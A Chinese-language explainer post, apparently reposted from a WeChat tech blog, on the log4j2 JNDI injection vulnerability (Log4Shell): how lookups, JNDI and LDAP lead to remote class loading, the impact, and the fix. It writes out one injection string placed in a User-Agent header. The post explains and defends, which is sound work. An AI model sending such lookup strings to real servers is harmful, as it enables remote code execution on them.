核弹级漏洞，我把log4j扒给你看

向右看齐 2023-10-10 13:32 6阅读 0赞

以下文章来源于编程技术宇宙 ，作者轩辕之风O

[编程技术宇宙.用故事说技术，编程从未如此有趣][.]

这几天，技术圈里面都在流传着一个大新闻：

![format_png][]

这个漏洞到底是怎么回事？ 核弹级，真的有那么厉害吗？ 怎么利用这个漏洞呢？ 到目前为止，有很多技术分析文章，都太过专业。 很多非Java技术栈或者不搞安全的人只能看个一知半解，导致大家只能看个热闹，对这个漏洞的成因、原理、利用方式、影响面理解的不到位。 而小谷今天，给大家分享的这篇文章，可以让所有有那么点技术相关的朋友都能看懂：这个注定会载入网络安全史册上的漏洞，到底是怎么一回事！

01log4j2不管是什么编程语言，不管是前端后端还是客户端，对打日志都不会陌生。 通过日志，可以帮助我们了解程序的运行情况，排查程序运行中出现的问题。 在Java技术栈中，用的比较多的日志输出框架主要是log4j2和logback。 今天讨论的主角就是log4j2。 我们经常会在日志中输出一些变量，比如：

![format_png 1][]

现在思考一个问题： 假如现在想要通过日志输出一个Java对象，但这个对象不在程序中，而是在其他地方，比如可能在某个文件中，甚至可能在网络上的某个地方，这种时候怎么办呢？ log4j2的强大之处在于，除了可以输出程序中的变量，它还提供了一个叫Lookup的东西，可以用来输出更多内容：

![format_png 2][]

lookup，顾名思义就是查找、搜索的意思，那在log4j2中，就是允许在输出日志的时候，通过某种方式去查找要输出的内容。 lookup相当于是一个接口，具体去哪里查找，怎么查找，就需要编写具体的模块去实现了，类似于面向对象编程中多态那意思。 好在，log4j2已经帮我们把常见的查找途径都进行实现了：

![format_png 3][]

具体每一个的意思，这里就不详述了，这不是本文的重点。 02JNDI主要来看其中那个叫JNDI的东西：

![format_png 4][]

JNDI即Java Naming and Directory Interface（JAVA命名和目录接口），它提供一个目录系统，并将服务名称与对象关联起来，从而使得开发人员在开发过程中可以使用名称来访问对象。看不懂？看不懂就对了！ 简单粗暴理解：有一个类似于字典的数据源，你可以通过JNDI接口，传一个name进去，就能获取到对象了。 那不同的数据源肯定有不同的查找方式，所以JNDI也只是一个上层封装，在它下面也支持很多种具体的数据源。

![format_png 5][]

03LDAP继续把目光聚焦，咱们只看这个叫LDAP的东西。LDAP即Lightweight Directory Access Protocol（轻量级目录访问协议），目录是一个为查询、浏览和搜索而优化的专业分布式数据库，它呈树状结构组织数据，就好象Linux/Unix系统中的文件目录一样。目录数据库和关系数据库不同，它有优异的读性能，但写性能差，并且没有事务处理、回滚等复杂功能，不适于存储修改频繁的数据。所以目录天生是用来查询的，就好像它的名字一样。 看不懂？看不懂就对了！ 这个东西用在统一身份认证领域比较多，但今天也不是这篇文章的重点。你只需要简单粗暴理解：有一个类似于字典的数据源，你可以通过LDAP协议，传一个name进去，就能获取到数据。 04漏洞原理好了，有了以上的基础，再来理解这个漏洞就很容易了。假如某一个Java程序中，将浏览器的类型记录到了日志中：

![format_png 6][]

网络安全中有一个准则：不要信任用户输入的任何信息。 这其中，User-Agent就属于外界输入的信息，而不是自己程序里定义出来的。只要是外界输入的，就有可能存在恶意的内容。 假如有人发来了一个HTTP请求，他的User-Agent是这样一个字符串： $\{jndi:ldap://127.0.0.1/exploit\} 接下来，log4j2将会对这行要输出的字符串进行解析。 ➡ 首先，它发现了字符串中有 $\{\}，知道这个里面包裹的内容是要单独处理的。 ➡ 进一步解析，发现是JNDI扩展内容。 ➡ 再进一步解析，发现了是LDAP协议，LDAP服务器在127.0.0.1，要查找的key是exploit。 ➡ 最后，调用具体负责LDAP的模块去请求对应的数据。 如果只是请求普通的数据，那也没什么，但问题就出在还可以请求Java对象！ Java对象一般只存在于内存中，但也可以通过序列化的方式将其存储到文件中，或者通过网络传输。 如果是自己定义的序列化方式也还好，但更危险的在于：JNDI还支持一个叫命名引用（Naming References）的方式，可以通过远程下载一个class文件，然后下载后加载起来构建对象。 PS：有时候Java对象比较大，直接通过LDAP这些存储不方便，就整了个类似于二次跳转的意思，不直接返回对象内容，而是告诉你对象在哪个class里，让你去那里找。 注意，这里就是核心问题了：JNDI可以远程下载class文件来构建对象！！！。 危险在哪里？ 如果远程下载的URL指向的是一个黑客的服务器，并且下载的class文件里面藏有恶意代码，那不就完犊子了吗？ 还没看懂？没关系，来看这张图：

![format_png 7][]

这就是鼎鼎大名的JNDI注入攻击！ 其实除了LDAP，还有RMI的方式，有兴趣的大家可以了解下。 05JNDI 注入其实这种攻击手法不是这一次出现了，早在2016的blackhat大会上，就有大佬披露了这种攻击方式。

![format_png 8][]

回过头来看，问题的核心在于： Java允许通过JNDI远程去下载一个class文件来加载对象，如果这个远程地址是自己的服务器，那还好说，如果是可以被外界来指定的地址，那就要出大问题！ 前面的例子中，一直用的127.0.0.1来代替LDAP服务器地址，那如果输入的User-Agent字符串中不是这个地址，而是一个恶意服务器地址呢？ 06影响规模这一次漏洞的影响面之所以如此之大，主要还是log4j2的使用面实在是太广了。 \#️⃣ 一方面现在Java技术栈在Web、后端开发、大数据等领域应用非常广泛，国内除了阿里巴巴、京东、美团等一大片以Java为主要技术栈的公司外，还有多如牛毛的中小企业选择Java。 \#️⃣ 另一方面，还有好多像kafka、elasticsearch、flink这样的大量中间件都是用Java语言开发的。 在上面这些开发过程中，大量使用了log4j2作为日志输出。只要一个不留神，输出的日志有外部输入混进来，那直接就是远程代码执行RCE，灭顶之灾！ 07修复新版的log4j2已经修复了这个问题，大家赶紧升级。 下面是log4j2官网中关于JNDI lookup的说明：

![format_png 9][]

小谷通过搜索引擎找到了缓存的12月10号前的快照，大家对比一下，比起下面这个缓存，上面那一版多了哪些东西？

![format_png 10][]

答案是：修复后的log4j2在JNDI lookup中增加了很多的限制： 1️⃣ 默认不再支持二次跳转（也就是命名引用）的方式获取对象 2️⃣ 只有在log4j2.allowedLdapClasses列表中指定的class才能获取 3️⃣ 只有远程地址是本地地址或者在log4j2.allowedLdapHosts列表中指定的地址才能获取 以上几道限制，算是彻底封锁了通过打印日志去远程加载class的这条路了。

最后，各位程序员朋友们，你们写的程序中有用到log4j2吗，有没有某个地方的输出，有外部的参数混进来呢？ 赶紧检查检查哦！ 关于这个漏洞，大家都看明白了吗？ 如果喜欢这篇文章，给小仙女一个点赞再看吧~

![format_png 11][]

[.]: https://mp.weixin.qq.com/s?__biz=MzI3MDQyMjI2NQ==&mid=2247537030&idx=1&sn=17bf41e0f28037d219e1263f37966fc1&chksm=ead34810dda4c1065804a4c5729a3bf6317c76aabb04815a840566289c89367066bec3e815f0&scene=126&sessionid=1639472494&key=2e3edb21c879daadc214bec6946aed9fd4ffd8d095b83209b4b853a433ea62bc007e7943e483c47ab14ea729fd573ed18d5dcd677c7679ff05ddc9fdc0da250db95e659817e8e48e6eee56bc5da41ba6c47296ccfc41971b4ab4bade22fc2f5f5257da3e43e166489f3785a8f9bfc14e7cebabb5befe6683a0e1c8e5580f71b1&ascene=1&uin=ODg3ODQwMzgx&devicetype=Windows+7+x64&version=6304051b&lang=zh_CN&exportkey=AVNypUWTQ3oKJ9utrZqapQA%3D&pass_ticket=1GNSE8FlmZZecKMY%2BafIhRNsz42N4aaRUeEqMvkiWjbGH9VXxv6UqmKAxU57OIwl&wx_header=0&fontgear=2#
[format_png]: https://img-blog.csdnimg.cn/img_convert/0fdaa5f8f1f1fabe17366d0c66cf230e.webp?x-oss-process=image/format,png
[format_png 1]: https://img-blog.csdnimg.cn/img_convert/2da84b3bcf9c4df86603037c3264fdab.webp?x-oss-process=image/format,png
[format_png 2]: https://img-blog.csdnimg.cn/img_convert/3f679c0a79ba1184beba8f3bc99f6f31.webp?x-oss-process=image/format,png
[format_png 3]: https://img-blog.csdnimg.cn/img_convert/414bb486bedd431bcb313f60abfce669.webp?x-oss-process=image/format,png
[format_png 4]: https://img-blog.csdnimg.cn/img_convert/6b4e6369fd456c2c1c7fc214d1d5bca3.webp?x-oss-process=image/format,png
[format_png 5]: https://img-blog.csdnimg.cn/img_convert/09fdfe85770e357d061870114a9f920e.webp?x-oss-process=image/format,png
[format_png 6]: https://img-blog.csdnimg.cn/img_convert/a6c90cb87e6fbb47e2e60a1358ce3c8f.webp?x-oss-process=image/format,png
[format_png 7]: https://img-blog.csdnimg.cn/img_convert/c00d106215b8be911b6384b7f535088f.webp?x-oss-process=image/format,png
[format_png 8]: https://img-blog.csdnimg.cn/img_convert/585cbfe815f64793a46006c51c4102c6.webp?x-oss-process=image/format,png
[format_png 9]: https://img-blog.csdnimg.cn/img_convert/2c89f13f829db9f8045ae16045373959.webp?x-oss-process=image/format,png
[format_png 10]: https://img-blog.csdnimg.cn/img_convert/23e2f6a44c414445dba12435c596834e.webp?x-oss-process=image/format,png
[format_png 11]: https://img-blog.csdnimg.cn/img_convert/8ee8db4cc1bf4c2d8b6ccdcf8ad170e6.webp?x-oss-process=image/format,png